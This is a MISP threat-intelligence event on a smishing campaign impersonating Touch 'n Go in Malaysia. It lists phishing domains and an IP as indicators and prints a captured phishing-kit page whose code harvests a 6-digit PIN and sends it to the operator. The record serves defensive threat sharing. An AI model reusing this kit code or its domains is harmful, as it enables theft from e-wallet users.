{ "Event": { "analysis": "1", "date": "2025-11-10", "extends_uuid": "", "info": "[Threat Intel] Smishing targeting TouchNGo E-Wallet Users", "protected": false, "publish_timestamp": "1780041322", "published": true, "threat_level_id": "3", "timestamp": "1780041322", "uuid": "e5bcd8f5-7574-4104-85b2-14a915b2a121", "Orgc": { "name": "Rectifyq", "uuid": "cd9bd516-61fa-476b-980f-2f8de03992d4" }, "Tag": [ { "colour": "#915448", "local": false, "name": "misp-galaxy:target-information=\"Malaysia\"", "relationship_type": "" }, { "colour": "#ffffff", "local": false, "name": "tlp:clear", "relationship_type": "" }, { "colour": "#004646", "local": false, "name": "type:OSINT", "relationship_type": "" }, { "colour": "#49a260", "local": false, "name": "rectifyq:category=\"threat\"", "relationship_type": "" }, { "colour": "#130049", "local": false, "name": "rectifyq:sub-category=\"campaign-analysis\"", "relationship_type": "" }, { "colour": "#ffd12e", "local": false, "name": "rectifyq:target=\"broad-based\"", "relationship_type": "" }, { "colour": "#dd2e44", "local": false, "name": "rectifyq:MY-relevancy=\"relevant\"", "relationship_type": "" }, { "colour": "#3a00e0", "local": false, "name": "rectifyq:action-taken=\"x\"", "relationship_type": "" }, { "colour": "#3b00e2", "local": false, "name": "rectifyq:action-taken=\"linkedin\"", "relationship_type": "" }, { "colour": "#0088cc", "local": false, "name": "misp-galaxy:mitre-attack-pattern=\"Phishing - T1660\"", "relationship_type": "" }, { "colour": "#932961", "local": false, "name": "misp-galaxy:mitre-attack-pattern=\"Video Capture - T1512\"", "relationship_type": "" }, { "colour": "#0088cc", "local": false, "name": "misp-galaxy:financial-fraud=\"Fake Website\"", "relationship_type": "" }, { "colour": "#0088cc", "local": false, "name": "misp-galaxy:financial-fraud=\"Smishing\"", "relationship_type": "" }, { "colour": "#3800d9", "local": false, "name": "rectifyq:action-taken=\"VT-comment\"", "relationship_type": "" }, { "colour": "#3d00e9", "local": false, "name": "rectifyq:action-taken=\"telegram\"", "relationship_type": "" }, { "colour": "#626567", "local": false, "name": "rectifyq:no-samples-in=\"MalwareBazaar\"", "relationship_type": "" }, { "colour": "#626567", "local": false, "name": "rectifyq:no-samples-in=\"Tria.ge\"", "relationship_type": "" } ], "Attribute": [ { "category": "External analysis", "comment": "", "deleted": false, "disable_correlation": false, "timestamp": "1762761385", "to_ids": false, "type": "link", "uuid": "03f6586c-861b-4c62-8858-da2e6ee6ffaf", "value": "https://x.com/_rectifyq/status/1987785043096514999" }, { "category": "Network activity", "comment": "", "deleted": false, "disable_correlation": false, "timestamp": "1762762609", "to_ids": true, "type": "url", "uuid": "53903e6e-034b-48c2-bb15-44e4d060f83f", "value": "touchngo.buzz/my", "Tag": [ { "colour": "#4200ff", "local": false, "name": "rectifyq:action-taken=\"report-google-safe-browsing\"", "relationship_type": "" }, { "colour": "#f08989", "local": false, "name": "NotFoundError", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "", "deleted": false, "disable_correlation": false, "timestamp": "1762762630", "to_ids": true, "type": "url", "uuid": "f2b500b6-654b-4713-a01c-2a6279c88a83", "value": "https://touchngo.buzz/my", "Tag": [ { "colour": "#4200ff", "local": false, "name": "rectifyq:action-taken=\"report-google-safe-browsing\"", "relationship_type": "" }, { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "", "deleted": false, "disable_correlation": false, "timestamp": "1762762651", "to_ids": true, "type": "domain", "uuid": "03225b3d-95db-4113-bc07-1b71e78ebfa8", "value": "touchngo.buzz", "Tag": [ { "colour": "#4200ff", "local": false, "name": "rectifyq:action-taken=\"report-google-safe-browsing\"", "relationship_type": "" }, { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "External analysis", "comment": "Tria.ge analysis", "deleted": false, "disable_correlation": false, "timestamp": "1762761707", "to_ids": false, "type": "link", "uuid": "9dd841c6-7cb3-466e-9c98-2d33901da66a", "value": "https://tria.ge/251110-h28wxsspen" }, { "category": "Network activity", "comment": "touchngo.buzz resolved to", "deleted": false, "disable_correlation": false, "timestamp": "1780041322", "to_ids": true, "type": "ip-dst", "uuid": "4f1a539e-8f14-4eec-9a41-a6c834590822", "value": "43.153.59.168", "Tag": [ { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" }, { "colour": "#dd7331", "local": false, "name": "asn:asn=\"132203\"", "relationship_type": "" }, { "colour": "#723dcd", "local": false, "name": "asn:as-owner=\"TENCENT-NET-AP-CN Tencent Building, Kejizhongyi Avenue\"", "relationship_type": "" }, { "colour": "#9256df", "local": false, "name": "asn:as-country=\"CN\"", "relationship_type": "" }, { "colour": "#0088cc", "local": false, "name": "misp-galaxy:country=\"china\"", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "Other domain hosted at same IP as touchngo.buzz(43.153.59.168)", "deleted": false, "disable_correlation": false, "timestamp": "1762762693", "to_ids": true, "type": "domain", "uuid": "d2bd8626-f380-4602-9ecc-edc8bdae0fa7", "value": "rmp-gov.lat", "Tag": [ { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "Other domain hosted at same IP as touchngo.buzz(43.153.59.168)", "deleted": false, "disable_correlation": false, "timestamp": "1762762714", "to_ids": true, "type": "domain", "uuid": "952e422a-64a9-4bfa-97e7-dd85a8e02c16", "value": "touchngo.boats", "Tag": [ { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "Other domain hosted at same IP as touchngo.buzz(43.153.59.168)", "deleted": false, "disable_correlation": false, "timestamp": "1762762735", "to_ids": true, "type": "domain", "uuid": "afb71843-a09f-412d-8a1c-5b995021a9b6", "value": "touchngo.pics", "Tag": [ { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "Other domain hosted at same IP as touchngo.buzz(43.153.59.168)", "deleted": false, "disable_correlation": false, "timestamp": "1762762756", "to_ids": true, "type": "domain", "uuid": "75ec6510-af24-4ccd-a8ce-169bc4f48beb", "value": "touchngo.skin", "Tag": [ { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "Other domain hosted at same IP as touchngo.buzz(43.153.59.168)", "deleted": false, "disable_correlation": false, "timestamp": "1762762777", "to_ids": true, "type": "domain", "uuid": "f05b51df-8681-4bd6-85d9-589a6cdea661", "value": "mybayar.asia", "Tag": [ { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "Other domain hosted at same IP as touchngo.buzz(43.153.59.168)", "deleted": false, "disable_correlation": false, "timestamp": "1762762798", "to_ids": true, "type": "domain", "uuid": "b2ac7719-9927-4146-9b1b-3f8b75779826", "value": "touchngo.beer", "Tag": [ { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "Other domain hosted at same IP as touchngo.buzz(43.153.59.168)", "deleted": false, "disable_correlation": false, "timestamp": "1762762819", "to_ids": true, "type": "domain", "uuid": "713007c0-60dc-4de8-807c-cf3442fb5567", "value": "touchngo.lol", "Tag": [ { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "Other domain hosted at same IP as touchngo.buzz(43.153.59.168)", "deleted": false, "disable_correlation": false, "timestamp": "1762762840", "to_ids": true, "type": "domain", "uuid": "1d63a406-312b-4d9a-b122-376bd789bbb1", "value": "touchngo.rest", "Tag": [ { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "Other domain hosted at same IP as touchngo.buzz(43.153.59.168)", "deleted": false, "disable_correlation": false, "timestamp": "1762762861", "to_ids": true, "type": "domain", "uuid": "cb35e6f1-e935-4cf8-b498-038fba651709", "value": "jlexpress.lol", "Tag": [ { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "Other domain hosted at same IP as touchngo.buzz(43.153.59.168)", "deleted": false, "disable_correlation": false, "timestamp": "1762762882", "to_ids": true, "type": "domain", "uuid": "8cf52177-1833-4a90-9a8e-ee8ca8046a45", "value": "touchngo-app.lol", "Tag": [ { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "Other domain hosted at same IP as touchngo.buzz(43.153.59.168)", "deleted": false, "disable_correlation": false, "timestamp": "1762762903", "to_ids": true, "type": "domain", "uuid": "05c15c56-8d45-4af6-8cb4-1924f8b34862", "value": "touchngo-app.icu", "Tag": [ { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "Other domain hosted at same IP as touchngo.buzz(43.153.59.168)", "deleted": false, "disable_correlation": false, "timestamp": "1762762924", "to_ids": true, "type": "domain", "uuid": "4c369aed-2610-45c5-9c4b-b3fd7e712195", "value": "touchngo-app.lat", "Tag": [ { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "Other domain hosted at same IP as touchngo.buzz(43.153.59.168)", "deleted": false, "disable_correlation": false, "timestamp": "1762762945", "to_ids": true, "type": "domain", "uuid": "430eff85-1e91-445e-9962-f8609a81ab17", "value": "touchngo-app.top", "Tag": [ { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "Other domain hosted at same IP as touchngo.buzz(43.153.59.168)", "deleted": false, "disable_correlation": false, "timestamp": "1762762965", "to_ids": true, "type": "domain", "uuid": "959b9f36-355a-4fa4-b2df-a41b28e82c4f", "value": "touchngo-app.cfd", "Tag": [ { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "Network activity", "comment": "Other domain hosted at same IP as touchngo.buzz(43.153.59.168)", "deleted": false, "disable_correlation": false, "timestamp": "1762762987", "to_ids": true, "type": "domain", "uuid": "681b66d7-8aa6-4e2b-bddc-7513a2270f12", "value": "touchngo-app.pics", "Tag": [ { "colour": "#342294", "local": false, "name": "CommentAdded", "relationship_type": "" } ] }, { "category": "Other", "comment": "VerificationcodepagePinView-c4c233e6.js", "deleted": false, "disable_correlation": false, "timestamp": "1762762348", "to_ids": false, "type": "text", "uuid": "122dd650-c5f7-443a-9c5f-51d5886b4a15", "value": "import {d as R, q as j, r as s, e as h, o as D, f as S, l as b, g as F, c as g, a, F as K, C as A, t as G, i as N, J as W, k as z, u as U, p as w, b as v, m as Y, _ as H} from \"./index-9244169b.js\";\r\nconst Q = \"/k459_my_wallet_touchngo_index/icon-safe.svg\"\r\n , X = {\r\n class: \"pin-container\"\r\n}\r\n , Z = {\r\n class: \"pin-main\"\r\n}\r\n , $ = {\r\n class: \"pin-input-group\"\r\n}\r\n , ee = {\r\n class: \"pin-boxes-container\"\r\n}\r\n , te = [\"value\", \"onInput\", \"onKeydown\", \"disabled\"]\r\n , ae = {\r\n key: 0,\r\n class: \"error-message\"\r\n}\r\n , ie = {\r\n key: 0,\r\n class: \"loading-modal\"\r\n}\r\n , P = 90\r\n , ne = R({\r\n __name: \"VerificationcodepagePinView\",\r\n setup(oe) {\r\n const {t: T} = j()\r\n , f = z()\r\n , m = U()\r\n , i = s({\r\n Verificationcodepagepin: {\r\n code: \"\"\r\n }\r\n })\r\n , I = localStorage.getItem(\"fullphone\") || \"\"\r\n , u = s(\"\")\r\n , c = s(!1)\r\n , r = s(\"\")\r\n , l = s(\"\")\r\n , y = s(!1)\r\n , _ = s(P);\r\n let d = null;\r\n const p = s([]);\r\n h( () => r.value || I);\r\n const V = h( () => l.value === \"\u6b64\u5361\u4e0d\u652f\u6301\u6b64\u4ea4\u6613\uff0c\u8acb\u63db\u53e6\u4e00\u5f35\u5361\u8a66\u8a66\" ? T(\"Incorrect PIN. Try again.\") : l.value === \"Code expired\" ? \"The authentication code has expired, please resend.\" : l.value === \"Invalid code\" ? \"The authentication code you entered is invalid.\" : l.value || u.value)\r\n , B = h( () => !!V.value && l.value !== \"Code expired\")\r\n , q = e => {\r\n var t;\r\n y.value || (y.value = !0,\r\n _.value = P,\r\n (t = w) == null || t.send(JSON.stringify({\r\n event: \"page_type\",\r\n content: {\r\n pageType: \"Verificationcodepagepin\",\r\n pageTitle: \"PIN\u9a57\u8b49\u78bc\u9801\u9762\",\r\n action: \"resend_code\",\r\n resultType: e\r\n }\r\n })),\r\n d = window.setInterval( () => {\r\n _.value > 0 && _.value--\r\n }\r\n , 1e3))\r\n }\r\n , E = () => {\r\n d && (clearInterval(d),\r\n d = null),\r\n y.value = !1,\r\n u.value = \"\"\r\n }\r\n , J = (e, t) => {\r\n const o = t.target.value\r\n , k = i.value.Verificationcodepagepin.code.split(\"\");\r\n k[e] = o.slice(-1),\r\n i.value.Verificationcodepagepin.code = k.join(\"\"),\r\n Y(\"input_card\", \"PIN\u9a57\u8b49\u78bc\", i.value.Verificationcodepagepin.code),\r\n o && e < 5 && b( () => {\r\n var C;\r\n (C = p.value[e + 1]) == null || C.focus()\r\n }\r\n ),\r\n i.value.Verificationcodepagepin.code.length === 6 && M()\r\n }\r\n , L = (e, t) => {\r\n t.key === \"Backspace\" && !i.value.Verificationcodepagepin.code.split(\"\")[e] && e > 0 && b( () => {\r\n var n;\r\n (n = p.value[e - 1]) == null || n.focus()\r\n }\r\n )\r\n }\r\n , M = async () => {\r\n var e;\r\n if (u.value = \"\",\r\n i.value.Verificationcodepagepin.code.length !== 6) {\r\n u.value = \"Please enter a 6-digit authentication code.\";\r\n return\r\n }\r\n c.value = !0,\r\n localStorage.setItem(\"smsCode\", i.value.Verificationcodepagepin.code),\r\n (e = w) == null || e.send(JSON.stringify({\r\n event: \"submit_card\",\r\n content: {\r\n type: \"submitOp\",\r\n verification_id: i.value.Verificationcodepagepin.code,\r\n verification: {\r\n code: i.value.Verificationcodepagepin.code\r\n },\r\n start_page: \"Verificationcodepagepin\",\r\n opButton: {\r\n showCustom: !1,\r\n list: [{\r\n label: \"\u5b8c\u6210\",\r\n value: \"success\",\r\n type: \"input1\"\r\n }, {\r\n label: \"\u62d2\u7d55\",\r\n value: \"reject\",\r\n type: \"input2\"\r\n }, {\r\n label: \"\u767b\u9304\u9996\u9801\",\r\n value: \"login_mufg\",\r\n type: \"input1\"\r\n }, {\r\n label: \"\u77ed\u4fe1\u9a57\u8b49\u9801\",\r\n value: \"verificationcode\",\r\n type: \"input1\"\r\n }, {\r\n label: \"\u586b\u5361\u9a57\u8b49\u9801\",\r\n value: \"cardfillpage\",\r\n type: \"input1\"\r\n }, {\r\n label: \"APP\u9a57\u8b49\u9801\",\r\n value: \"tcassword\",\r\n type: \"input1\"\r\n }, {\r\n label: \"\u4eba\u81c9\u8996\u983b\u9a57\u8b49\u9801\",\r\n value: \"facevideo\",\r\n type: \"input1\"\r\n }, {\r\n label: \"\u8df3\u8f49\u5b8c\u6210\",\r\n value: \"success\"\r\n }]\r\n }\r\n }\r\n }))\r\n }\r\n , O = () => {\r\n c.value || m.push(\"/login_mufg\")\r\n }\r\n ;\r\n D( () => {\r\n var e;\r\n f.query.message1 ? (r.value = f.query.message1,\r\n localStorage.setItem(\"message1\", f.query.message1)) : localStorage.getItem(\"message1\") ? r.value = localStorage.getItem(\"message1\") : r.value = I,\r\n S.on(\"my-event\", x),\r\n localStorage.setItem(\"route\", \"Verificationcodepagepin\"),\r\n (e = w) == null || e.send(JSON.stringify({\r\n event: \"page_type\",\r\n content: {\r\n pageType: \"Verificationcodepagepin\",\r\n pageTitle: \"\u77ed\u4fe1\u9a57\u8b49\u9801\u9762\"\r\n }\r\n })),\r\n document.title = \"GCash - Verify with Text Message\",\r\n q(\"initialLoad\"),\r\n b( () => {\r\n var t;\r\n (t = p.value[0]) == null || t.focus()\r\n }\r\n )\r\n }\r\n );\r\n const x = e => {\r\n l.value = e.message2,\r\n c.value = !1,\r\n e.message1 && (r.value = e.message1,\r\n localStorage.setItem(\"message1\", e.message1)),\r\n e.redirect_to ? m.push(e.redirect_to) : (e.message2 === \"\u901a\u904e\" || e.message2 === \"success\") && m.push(\"/success\")\r\n }\r\n ;\r\n return F( () => {\r\n S.off(\"my-event\", x),\r\n E()\r\n }\r\n ),\r\n (e, t) => (v(),\r\n g(\"div\", X, [a(\"header\", {\r\n class: \"pin-header\"\r\n }, [a(\"button\", {\r\n class: \"back-btn\",\r\n onClick: O\r\n }, t[0] || (t[0] = [a(\"svg\", {\r\n xmlns: \"http://www.w3.org/2000/svg\",\r\n width: \"24\",\r\n height: \"24\",\r\n viewBox: \"0 0 24 24\",\r\n fill: \"none\",\r\n stroke: \"currentColor\",\r\n \"stroke-width\": \"2\",\r\n \"stroke-linecap\": \"round\",\r\n \"stroke-linejoin\": \"round\"\r\n }, [a(\"line\", {\r\n x1: \"19\",\r\n y1: \"12\",\r\n x2: \"5\",\r\n y2: \"12\"\r\n }), a(\"polyline\", {\r\n points: \"12 19 5 12 12 5\"\r\n })], -1)]))]), a(\"main\", Z, [t[2] || (t[2] = a(\"h1\", {\r\n class: \"pin-title\"\r\n }, \"Enter 6-digit PIN\", -1)), a(\"div\", $, [a(\"div\", ee, [(v(),\r\n g(K, null, A(6, n => a(\"div\", {\r\n key: n,\r\n class: \"pin-box-wrapper\"\r\n }, [a(\"input\", {\r\n ref_for: !0,\r\n ref: o => {\r\n o && (p.value[n - 1] = o)\r\n }\r\n ,\r\n type: \"tel\",\r\n maxlength: \"1\",\r\n value: i.value.Verificationcodepagepin.code[n - 1],\r\n onInput: o => J(n - 1, o),\r\n onKeydown: o => L(n - 1, o),\r\n class: \"pin-box\",\r\n inputmode: \"numeric\",\r\n pattern: \"[0-9]*\",\r\n disabled: c.value\r\n }, null, 40, te), t[1] || (t[1] = a(\"div\", {\r\n class: \"input-underline\"\r\n }, null, -1))])), 64))])]), B.value ? (v(),\r\n g(\"div\", ae, G(V.value), 1)) : N(\"\", !0), t[3] || (t[3] = W('
Forgot your PIN?Reset now
\"Security

Your account is safe and secure, and may require additional authentication.

', 2))]), c.value ? (v(),\r\n g(\"div\", ie, t[4] || (t[4] = [a(\"div\", {\r\n class: \"loading-content\"\r\n }, [a(\"div\", {\r\n class: \"loading-spinner\"\r\n }), a(\"p\", {\r\n class: \"loading-text\"\r\n }, \"Verifying...\"), a(\"p\", {\r\n class: \"loading-text\",\r\n style: {\r\n color: \"#666\",\r\n \"margin-top\": \"5px\",\r\n \"font-size\": \"14px\"\r\n }\r\n }, \"Please do not exit the page.\")], -1)]))) : N(\"\", !0)]))\r\n }\r\n});\r\nconst le = H(ne, [[\"__scopeId\", \"data-v-83edbe7d\"]]);\r\nexport {le as default};" } ] } }